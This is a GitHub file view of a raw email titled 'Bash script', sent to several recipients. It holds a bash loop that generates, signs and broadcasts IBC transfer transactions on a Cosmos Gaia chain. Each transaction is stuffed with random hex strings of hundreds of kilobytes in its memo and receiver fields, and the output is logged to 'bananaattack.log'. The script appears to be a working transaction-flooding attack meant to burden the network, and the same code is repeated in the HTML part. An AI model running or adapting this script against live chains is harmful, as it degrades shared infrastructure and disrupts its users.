forked from somatic-labs/meteorite
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathBash script.eml
153 lines (104 loc) · 4.46 KB
/
Bash script.eml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
MIME-Version: 1.0
Date: Sun, 8 Oct 2023 17:44:01 +0300
Message-ID: <CAK5+0FS5cc6EX-wDG_Bw46RBhgQ0yqHacD5fEjRbrpf38wc4jw@mail.gmail.com>
Subject: Bash script
From: Jacob Gadikian <[email protected]>
Alex Sutaru <[email protected]>, Joe Bowman <[email protected]>,
Sheldon Dearr <[email protected]>, Sam LitBit <[email protected]>,
Khanh Nguyen <[email protected]>
Content-Type: multipart/alternative; boundary="000000000000206a4a06073581cb"
--000000000000206a4a06073581cb
Content-Type: text/plain; charset="UTF-8"
Pasta from below:
set -ue
SEQUENCE=16103
for i in $( eval echo {"$SEQUENCE"..10000000} )
do
echo "sequence number is $i"
# Make a new transaction body with a random string
gaiad tx ibc-transfer transfer transfer channel-58
cosmos1fjzgfyt8way9sp7hktnv2jv73j697gvz3fyptm 1uatom
--keyring-backend test --home ~/.gaia-rs --memo $(openssl rand -hex
50000) --chain-id provider --packet-timeout-timestamp 0
--generate-only --fees 24000uatom --gas 1000000 --from
cosmos18hmramafeyg3xu3j8m6s4w38sgt93r29v7c8d5 &> bareibctx.json
echo "transaction body generated"
# Step 1: Generate the random hex string and save it to a temporary file
openssl rand -hex 200000 > tmp.txt
echo "random string generated"
# Step 2: Use jq with --arg to set the receiver field
jq --rawfile random_str tmp.txt '.body.messages[0].receiver =
$random_str' bareibctx.json > autobanana.json
echo "random string inserted"
# Step 3: remove the temporary file afterwards
rm tmp.txt
echo "temporary file removed"
# Step 4: Sign the transaction
gaiad tx sign autobanana.json --home /root/.gaia-rs --from
cosmos18hmramafeyg3xu3j8m6s4w38sgt93r29v7c8d5 --yes --sequence $i
--offline --account-number 495 --chain-id provider --keyring-backend
test &> signedbanana.json
echo "transaction signed"
# Step 5: Broadcast the transaction
gaiad tx broadcast signedbanana.json --home ~/.gaia-rs > bananaattack.log
echo "transaction broadcasted"
cat bananaattack.log
# Step 6: Check for a sequence number mismatch
if [ $(grep -c "mismatch" bananaattack.log) -eq 1 ]
then
echo "sequence number mismatch"
break
fi
done
echo "if you're running it right the script just restarted"
--000000000000206a4a06073581cb
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
<div dir=3D"auto"><pre style=3D"text-wrap: wrap;"><br></pre><pre style=3D"t=
ext-wrap: wrap;">Pasta from below:</pre><pre style=3D"text-wrap: wrap;"><br=
></pre><pre style=3D"text-wrap: wrap;"><br></pre><pre style=3D"text-wrap: w=
rap;">set -ue
SEQUENCE=3D16103
for i in $( eval echo {"$SEQUENCE"..10000000} )
do
echo "sequence number is $i"
# Make a new transaction body with a random string
gaiad tx ibc-transfer transfer transfer channel-58 cosmos1fjzgfyt8way9sp7hk=
tnv2jv73j697gvz3fyptm 1uatom --keyring-backend test --home ~/.gaia-rs --me=
mo $(openssl rand -hex 50000) --chain-id provider --packet-timeout-timestam=
p 0 --generate-only --fees 24000uatom --gas 1000000 --from cosmos18hmramafe=
yg3xu3j8m6s4w38sgt93r29v7c8d5 &> bareibctx.json
echo "transaction body generated"
# Step 1: Generate the random hex string and save it to a temporary file
openssl rand -hex 200000 > tmp.txt
echo "random string generated"
# Step 2: Use jq with --arg to set the receiver field
jq --rawfile random_str tmp.txt '.body.messages[0].receiver =3D $random=
_str' bareibctx.json > autobanana.json
echo "random string inserted"
# Step 3: remove the temporary file afterwards
rm tmp.txt
echo "temporary file removed"
# Step 4: Sign the transaction
gaiad tx sign autobanana.json --home /root/.gaia-rs --from cosmos18hmramafe=
yg3xu3j8m6s4w38sgt93r29v7c8d5 --yes --sequence $i --offline --account-numbe=
r 495 --chain-id provider --keyring-backend test &> signedbanana.jso=
n
echo "transaction signed"
# Step 5: Broadcast the transaction
gaiad tx broadcast signedbanana.json --home ~/.gaia-rs > bananaattack.lo=
g
echo "transaction broadcasted"
cat bananaattack.log
# Step 6: Check for a sequence number mismatch
if [ $(grep -c "mismatch" bananaattack.log) -eq 1 ]
then
echo "sequence number mismatch"
break
fi
done
echo "if you're running it right the script just restarted"
</pre><br></div>
--000000000000206a4a06073581cb--